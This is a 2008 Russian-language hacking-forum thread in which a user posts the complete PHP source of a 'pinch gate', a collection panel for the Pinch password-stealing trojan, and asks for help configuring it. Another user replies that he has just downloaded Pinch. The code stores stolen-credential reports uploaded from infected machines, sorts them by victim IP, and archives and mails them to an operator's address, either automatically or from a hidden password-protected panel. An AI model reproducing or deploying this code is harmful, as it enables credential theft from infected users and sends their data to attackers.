настройка gate.php
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
настройка gate.php - 2008-01-26 19:45:48.930000
|
|
|
apanasina
Сообщений: 24
Оценки: 0
Присоединился: 2008-01-03 06:10:46.453333
|
ПАРНИ неругайтесь,некричите помошь надоа я думаю с этой проблемай все нубы сталкиваютсья((( <? Error_Reporting(E_ALL & ~E_NOTICE); ########################################################## # автор genom– # специально для antichat.ru – 2007 год. # используйте на здоровье при копировании и посте на др бордах указывайте имя автора # всем здоровья удачи веселья —- xeк повсюду =) # No SPLoA No World.. # Приветы: # +toxa+, tclover , slider , k1b0rg, podkashey, A110ut, Elekt, FQziT, Dronga, n-e-r-d , KEZ, nc.Striem , # # coded by Member of SPLoA group # http://genom.h10.ru ########################### КОНФИГ ########################### $pass='genom'; # ТУТ ВВЕСТИ ПАРОЛЬ ЧЕГО АКАУНТА ИЛИ ИЛИЧЕГО? $dirname = "logs"; # А ТУТ ВВЕСТИ ЧТО ИМЕННО? $autosend=1; # И тут? $mail='А ТУТ ПРОСТО МЫЛО?'; # мыло на которое гейт будет слать пароли $autoclean=1; # автоочистка отчетов пришедших с одного ip 0-выкл 1-вкл ############################################################ if($_GET['stat']){ echo '<html><b><body text="darkgreen" bgcolor="#000000" link="#green" alink="#green" vlink="#green"><br><br><center> <font color="#green">——————————–<br>Фак нас нашли.<br>——————————–<br><br></font> <form enctype="multipart/form-data" action="" method="get">Пароль?<br><input name="pass" type="text"><br> <input type="submit" value="[Connect…]"></center></form>'; } elseif($_GET['pass']===$pass){ $b=$_GET['pass']; setcookie("pass", "$b", time()+10000); ######################## echo "<script> document.location.replace('$SCRIPT_NAME'); </script>"; } elseif($_COOKIE["pass"]===$pass){ ######### функция удаления файла if($_POST["del"]){ unlink($dirname.'/'.$_POST["del"]); echo "<script> document.location.replace('$SCRIPT_NAME'); </script>"; } ######### функция отправки if($_POST["send"]){ $ff=$_POST["send"]; $msg=file_get_contents("$dirname/$ff"); $msg=base64_encode($msg); $headers = "Content-Type: application/octet-stream; name=\"".$ff."\"\n"; $headers.= "Content-Transfer-Encoding: base64\n"; $headers.= "Content-Disposition: attachment; filename=\"".$ff."\"\n"; mail($mail,'Bygagagggggggaaaaaaa', $msg, $headers); unlink("$dirname/$ff"); echo "<script> document.location.replace('$SCRIPT_NAME'); </script>"; } #########открываем папку для чтения из нее имен отчетов $num=0; $fail=array();$size=array(); $otch=opendir("$dirname"); while($file = readdir($otch)){ if(strpos($file, '.bin')){$num++; array_push ($fail,$file); array_push ($size,filesize("$dirname/$file")); }} ######### скачка по количеству if($_POST["number"]){ $ret=$_POST["number"]; echo $ret; mkdir('temp'); for($i=0;$i<$ret;$i++){copy("$dirname/$fail[$i]","temp/$fail[$i]");unlink("$dirname/$fail[$i]");} system('tar -cvf down.tar.gz temp');system('rm -rf temp'); echo "<script> document.location.replace('$SCRIPT_NAME'); </script>"; } ########## отправка по дате if($_POST["datebysend"]){ $datta=$_POST["datebysend"]; $datemail=$_POST["datemail"]; mkdir('temp'); for($i=0;$i<=$num-1;$i++){ list($trrr,$date,$rrrt)= split("_", $fail[$i]); if($datta==$date){ copy("$dirname/$fail[$i]","temp/$fail[$i]"); if(!$_POST["danet"]){unlink("$dirname/$fail[$i]");} }} system('tar -cvf reports.tar.gz temp');system('rm -rf temp'); $mes=file_get_contents("reports.tar.gz"); $mes=base64_encode($mes); $header = "Content-Type: application/octet-stream; name=\"reports.tar.gz\"\n"; $header.= "Content-Transfer-Encoding: base64\n"; $header.= "Content-Disposition: attachment; filename=\"reports.tar.gz\"\n"; mail($datemail,'Bygagagggggggaaaaaaa', $mes, $header); unlink("reports.tar.gz"); echo "<script> document.location.replace('$SCRIPT_NAME'); </script>"; } ########## очистка if($_POST["sizedel"]){ $sssize=$_POST["sizedel"]; $ay=$_POST["bome"]; if ($ay==='1'){ for($i=0;$i<$num;$i++){ if(number_format(filesize("$dirname/$fail[$i]")/1024,2)<=$sssize){unlink("$dirname/$fail[$i]");}}} elseif($ay==='0'){ for($i=0;$i<$num;$i++){ if(number_format(filesize("$dirname/$fail[$i]")/1024,2)>$sssize){unlink("$dirname/$fail[$i]");}}} echo "<script> document.location.replace('$SCRIPT_NAME'); </script>";} if($_POST["datedel"]){ $dddate=$_POST["datedel"]; for($i=0;$i<$num;$i++){ list($temp1,$ddate,$temp2)= split("_","$dirname/$fail[$i]"); if($ddate==$dddate){unlink("$dirname/$fail[$i]");} }; echo "<script> document.location.replace('$SCRIPT_NAME'); </script>";} if($_POST["ipdel"]){ $ipp=$_POST["ipdel"]; for($i=0;$i<$num;$i++){ list($temp1,$temp2,$ippp)= split("_","$dirname/$fail[$i]"); if($ippp=="$ipp.bin"){unlink("$dirname/$fail[$i]");} }; echo "<script> document.location.replace('$SCRIPT_NAME'); </script>";} if($_POST["xxxdel"]){ $xxx=$_POST["xxxdel"]; for($i=0;$i<$xxx;$i++){ unlink("$dirname/$fail[$i]");} ; echo "<script> document.location.replace('$SCRIPT_NAME'); </script>";} ######### функция отправки по размеру if($_POST["skoka"]){ $sk=$_POST["skoka"]; $ky=$_POST["kyda"]; $symsize=0; mkdir('temp'); for($i=0;$i<$num;$i++){ if($symsize<$sk){ copy("$dirname/$fail[$i]","temp/$fail[$i]"); $symsize+= filesize("$dirname/$fail[$i]")/1024; if(!$_POST["nax"]){unlink("$dirname/$fail[$i]");}} } system('tar -cvf reports.tar.gz temp');system('rm -rf temp'); $mes=file_get_contents("reports.tar.gz"); $mes=base64_encode($mes); $header = "Content-Type: application/octet-stream; name=\"reports.tar.gz\"\n"; $header.= "Content-Transfer-Encoding: base64\n"; $header.= "Content-Disposition: attachment; filename=\"reports.tar.gz\"\n"; mail($m,'Bygagagggggggaaaaaaa', $mes, $header); unlink("reports.tar.gz"); echo "<script> document.location.replace('$SCRIPT_NAME'); </script>"; } ######### функция отправки пачками if($_POST["numsend"]){ $m=$_POST["numsend"]; $k=$_POST["koll"]; mkdir('temp'); for($i=0;$i<=$k-1;$i++){copy("$dirname/$fail[$i]","temp/$fail[$i]"); if(!$_POST["what"]){unlink("$dirname/$fail[$i]");} } system('tar -cvf reports.tar.gz temp');system('rm -rf temp'); $mes=file_get_contents("reports.tar.gz"); $mes=base64_encode($mes); $header = "Content-Type: application/octet-stream; name=\"reports.tar.gz\"\n"; $header.= "Content-Transfer-Encoding: base64\n"; $header.= "Content-Disposition: attachment; filename=\"reports.tar.gz\"\n"; mail($m,'Bygagagggggggaaaaaaa', $mes, $header); unlink("reports.tar.gz"); echo "<script> document.location.replace('$SCRIPT_NAME'); </script>"; } ######################## начало основного вывода echo "<html><b><body text='#99ff33' bgcolor='#000000' link='#green' alink='#green'><font color='#green'><center>[genom– pinch gate v2.0]<br></center></font><br><br><center>Конфиг: <table style='font-size:10pt; font-family:tahoma' cellspacing=0 border='3'><tr><td><center>Папка с отчетами:</center></td><td><center>В ней отчетов:</center></td><td><center>Автоочистка отчетов с одного ip<br>(0-выкл,1-вкл):</center></td><td><center>Автоотсылка на mail(0 отключена):</center></td><td><center>Мыло для отсылки:</center></td><td><center>Размер папки с отчетами:</center></td></tr>"; ####################### echo '<tr><td>/',$dirname,'</td><td>',$num,'</td><td>',$autoclean,'</td><td>',$autosend,'</td></td><td>',$mail,'</td><td>',number_format(array_sum($size)/1024,2),' Kb</td></tr></table><br><br>'; ####################### таба с сегодня вчера позавчера $today=0;$vche=0;$poza=0; $dd=localtime(); $dd[5]+=1900;$dd[4]++; ###### $tmp=$dd[3]-1;$tmp2=$dd[4];$tmp3=$dd[5]; if($dd[3]==2){$tmp=1;$tmp2=$dd[4];$tmp3=$dd[5];} if($dd[3]==1){ if($dd[4]==2 or $dd[4]==4 or $dd[4]==6 or $dd[4]==8 or $dd[4]==9 or $dd[4]==11){$tmp=31;$tmp2=$dd[4]-1;$tmp3=$dd[5];} elseif($dd[4]==3 and $dd[5] % 4 >0){$tmp=28;$tmp2=$dd[4]-1;$tmp3=$dd[5];} elseif($dd[4]==3 and $dd[5] % 4 ==0){$tmp=29;$tmp2=$dd[4]-1;$tmp3=$dd[5];} else{$tmp=30;$tmp2=$dd[4]-1;$tmp3=$dd[5];} } if($dd[3]==1 and $dd[4]==1){$tmp=31;$tmp2=12;$tmp3=$dd[5]-1;} ### $tmp4=$tmp-1;$tmp5=$tmp2;$tmp6=$tmp3; if($tmp==1){ if($tmp2==2 or $tmp2==4 or $tmp2==6 or $tmp2==8 or $tmp2==9 or $tmp2==11){$tmp4=31;$tmp5=$tmp2-1;$tmp6=$tmp3;} elseif($tmp2==3 and $tmp3 % 4 >0){$tmp4=28;$tmp5=$tmp2-1;$tmp6=$tmp3;} elseif($tmp2==3 and $tmp3 % 4 ==0){$tmp4=29;$tmp5=$tmp2-1;$tmp6=$tmp3;} else{$tmp4=30;$tmp5=$tmp2-1;$tmp6=$tmp3;} } if($tmp==1 and $tmp2==1){$tmp4=31;$tmp5=12;$tmp6=$tmp3-1;} ####### for($i=0;$i<$num;$i++){ list($time,$date,$adr)= split("_", $fail[$i]); if($date=="$dd[3]-$dd[4]-$dd[5]"){$today++;}; if($date=="$tmp-$tmp2-$tmp3"){$vche++;}; if($date=="$tmp4-$tmp5-$tmp6"){$poza++;}; } echo "<table style='font-size:10pt; font-family:tahoma' cellspacing=0 border='3'><tr><td><center>Сегодняшних($dd[3]-$dd[4]-$dd[5]):</center></td><td><center>Вчерашних($tmp-$tmp2-$tmp3): </center> </td><td><center>Позавчерашних($tmp4-$tmp5-$tmp6):</center></td></tr><tr><td><center>$today</center></td><td><center>$vche</center></td><td><center>$poza</center></td></tr></table><br>"; ################### начало большой рамки echo'<table cellspacing=0 border="2" style="font-size:10pt; font-family:tahoma"><tr><td width="340" valign="top"><center>'; ################### скачка и отсылка всех отчетов echo '<table style="font-size:10pt; font-family:tahoma" cellspacing=0 border="2">'; if(file_exists("down.tar.gz")){echo '<tr><td>Обнаружен файл для скачки <b><a href="down.tar.gz">down.tar.gz</a></b></td><td width="50"><form enctype="multipart/form-data" action="" method="post"><input name="del" type="hidden" value="../down.tar.gz"><input type="submit" value="[Удалить]"></center></form></td><tr>';} echo'<tr><td><form enctype="multipart/form-data" action="" method="post"><input name="koll" type="hidden" value="',$num,'"><input name="numsend" type="text" value="',$mail,'" size=15><input type="submit" value="[Отправить все]"><br><input type="checkbox" name="what">Не удалять отчеты при отправке</form></td><td width="50" valign="top"><center><form enctype="multipart/form-data" action="" method="post"><input name="number" type="hidden" value="',$num,'"><input type="submit" value="[Скачать все]"></form></td></tr></table><br>'; ################### echo'<table style="font-size:10pt; font-family:tahoma" cellspacing=0 border="2"><tr><td>Количество отчетов</td><td>Мыло для отправки</td></tr><tr><td colspan="2"><form enctype="multipart/form-data" action="" method="post"><input name="koll" type="text" value="100"> <input name="numsend" type="text" value="',$mail,'"><br><input type="checkbox" name="what">Не удалять отчеты при отправке<br><center><input type="submit" value="[Отправить]"></center></form></td></tr></table><br>'; ################### echo'<table style="font-size:10pt; font-family:tahoma" cellspacing=0 border="2"><tr><td width="160">Размер для отправки</td><td width="140">Мыло для отправки</td></tr><tr><td colspan="2"><form enctype="multipart/form-data" action="" method="post"><input name="skoka" type="text" value="100"> Kb <input name="kyda" type="text" value="',$mail,'"><br><input type="checkbox" name="nax">Не удалять отчеты при отправке<br><center><input type="submit" value="[Отправить]"></center></form></td></tr></table><br>'; ################### echo'<table style="font-size:10pt; font-family:tahoma" cellspacing=0 border="2"><tr><td colspan="2"><center>Получить линк для скачки:</center></td></tr>'; if(file_exists("down.tar.gz")){echo '<tr><td>Обнаружен файл для скачки <b><a href="down.tar.gz">down.tar.gz</a></b></td><td width="50"><form enctype="multipart/form-data" action="" method="post"><input name="del" type="hidden" value="../down.tar.gz"><input type="submit" value="[Удалить]"></center></form></td><tr>';} echo '<tr><td><form enctype="multipart/form-data" action="" method="post">Скачать <input name="number" type="text" value="10"> отчетов.<center><td width="75"><input type="submit" value="[Скачать]"></td></center></form></td></tr></table><br>'; ################### отправка по дате echo'<table style="font-size:10pt; font-family:tahoma" cellspacing=0 border="2"><tr><td><form enctype="multipart/form-data" action="" method="post"><center>Где дата <input name="datebysend" type="text" value="5-5-2007"></center></td><tr><td><input name="datemail" type="text" value="',$mail,'" size=18><input type="submit" value="[Отправить]"><br><input type="checkbox" name="danet">Не удалять отчеты при отправке</form></td></tr></table><br>'; ################### очистка по фильтрам echo'<table style="font-size:10pt; font-family:tahoma" cellspacing=0 border="2"><tr><td colspan="2"><center>Очистка:</center></td></tr><tr><td><form enctype="multipart/form-data" action="" method="post">Удалить первые: <input name="xxxdel" type="text" value="10" size=5> отчетов.</td><td width="50"><input type="submit" value="[Удалить]"></center></form></td></tr><tr><td ><form enctype="multipart/form-data" action="" method="post">Размер <input type="radio" name="bome" value="1" checked="checked"><strong>меньше</strong><input type="radio" name="bome" value="0"><strong>больше</strong><input name="sizedel" type="text" value="4" size=5>Kb </td><td width="50"><input type="submit" value="[Удалить]"></center></form></td></tr> <tr><td><form enctype="multipart/form-data" action="" method="post">C датой: <input name="datedel" type="text" value="5-5-2007"> </td><td width="50"><input type="submit" value="[Удалить]"></center></form></td></tr> <tr><td><form enctype="multipart/form-data" action="" method="post">Где ip: <input name="ipdel" type="text" value="127.0.0.1" > </td><td width="50"><input type="submit" value="[Удалить]"></center></form></td></tr> </table><br><center/></td><td width="380" valign="top">'; ####################### выводим таблицу с отчетами echo "<table cellspacing=0 border='2' style='font-size:8pt; font-family:tahoma'><tr><td>№</td><td><center>Отчет:</center></td><td>Размер:</td><td colspan='2'><center>Действия:</center></td></tr>"; for($i=0;$i<$num;$i++){ echo'<tr><td>',$i,'</td><td><A HREF="',$dirname,'/',$fail[$i],'">',$fail[$i],'</A></td><td><b>'; ###################### ставим цвет лога if($size[$i]/1024<=8){echo '<font color="#00ff33">';} elseif($size[$i]/1024<=15){echo '<font color="#ff33ff">';} else{echo '<font color="#ff0000">';}; echo number_format(filesize("$dirname/$fail[$i]")/1024,2),' Kb</font></b></td><td width="35"><form enctype="multipart/form-data" action="" method="post"><input name="del" type="hidden" value=',$fail[$i],'><input type="submit" value="Del" ></td><td width="50"></form><form enctype="multipart/form-data" action="" method="post"><input name="send" type="hidden" value=',$fail[$i],'><input type="submit" value="Send"></form></td></tr>';} echo'</table></td></tr></table><br><br>[genom– специально для челов с antichat.ru 2007.]'; ######################## конец основного вывода } else{ # проверка на пустоту отчета или если ктонибудь попытается открыть гейт в браузере if (strlen($_POST['c'])===0){echo 'Страница находится в стадии разработки…';exit;} $ip=getenv("REMOTE_ADDR"); $msg=str_replace(" ", "+", $_POST['c']); @mkdir($dirname); @chdir($dirname); $a=localtime();$a[5]+=1900;$a[4]++; $filename ="$a[2]-$a[1]-$a[0]_$a[3]-$a[4]-$a[5]_$ip.bin"; $fp=fopen($filename, 'w'); fwrite($fp, base64_decode($msg)); fclose($fp); @chdir('../'); } $num=0; $fail=array(); $otch=opendir($dirname); while($file = readdir($otch)){ if(strpos($file, '.bin')){$num++; array_push ($fail,$file); }} #### проверяем на автоотправку if(($num===$autosend or $num>$autosend) and $autosend<>0){ mkdir('temp'); for($i=0;$i<$autosend;$i++){copy("$dirname/$fail[$i]","temp/$fail[$i]");unlink("$dirname/$fail[$i]");} system('tar -cvf reports.tar.gz temp');system('rm -rf temp'); $mes=file_get_contents("reports.tar.gz"); $mes=base64_encode($mes); $header = "Content-Type: application/octet-stream; name=\"reports.tar.gz\"\n"; $header.= "Content-Transfer-Encoding: base64\n"; $header.= "Content-Disposition: attachment; filename=\"reports.tar.gz\"\n"; mail($mail,'Bygagagggggggaaaaaaa', $mes, $header); unlink("reports.tar.gz"); }; if($autoclean===1){ for($ii=0;$ii<$num;$ii++){ list($tm1,$tm2,$ip1)= split("_", $fail[$ii]); if("$ip.bin"==$ip1 && $fail[$ii]<>$filename){ if(filesize("$dirname/$filename")>=filesize("$dirname/$fail[$ii]")){unlink("$dirname/$fail[$ii]");exit;} else{unlink("$dirname/$filename");exit;} } } }; ?>
|
|
|
RE: настройка gate.php - 2008-01-26 21:11:30.760000
|
|
|
VirtualT
Сообщений: 56
Оценки: 0
Присоединился: 2007-12-04 14:52:48.020000
|
Блин, люди, спасибо большое как раз скачал пинча для научных опытов, и тут этот топ[sm=ab.gif]
|
|
|
|
|